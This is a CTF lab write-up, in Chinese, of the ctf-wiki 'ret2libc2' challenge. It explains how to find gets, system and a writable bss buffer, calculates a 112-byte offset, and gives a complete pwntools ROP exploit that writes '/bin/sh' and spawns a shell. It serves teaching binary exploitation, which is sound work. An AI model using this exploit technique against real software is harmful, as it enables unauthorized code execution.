ret2libc2
ctf-wiki
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
checksec 查看程序保护机制
顺便查看有没有"/bin/sh"字符串,并没有找到
文章图片
ida,main ,f5,发现 gets 函数(危险函数),顺便查看 gets 函数的地址为0x08048460
文章图片
文章图片
shift+f12查找,发现只有system函数,地址为0x08048490,并没有"/bin/sh"的存在
文章图片
结合 system 函数且找不到字符 "/bin/sh" 可以猜想应该是需要自己写入字符 "/bin/sh"
在bss段中查找可写的东西,发现buf2
文章图片
通过将 "/bin/sh" 写入buf2,再将buf2的地址作为system的参数传入来获取shell
求偏移量为112
文章图片
利用 ROPgadget 查找带 ret 的语句,得 ebx 地址为 0x0804843d
文章图片
payload写法
payload1:根据栈的原理
payload2:根据堆栈平衡
参见 https://www.jianshu.com/p/c4780335b842
一般堆栈平衡适用于连续调用多个函数。
exp(根据payload2)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*sh = process('./ret2libc2') gets_plt = 0x08048460
system_plt = 0x08048490
buf2 = 0x0804A080
pop_ebx = 0x0804843dpayload = flat(["a"*112,gets_plt,pop_ebx,buf2,system_plt,"aaaa",buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
【ret2libc2】exp 运行
文章图片
推荐阅读
- 画解算法(1.|画解算法:1. 两数之和)
- ts泛型使用举例
- https请求被提早撤回
- 拒绝可以很艺术,或者很行为艺术。
- www和https://又被Chrome地址栏隐藏了
- AnyProxy抓取http/https请求
- 计算机网络基础TCP\HTTP\HTTPS
- IOST任务教程
- 12306车站代号
- linux安装go环境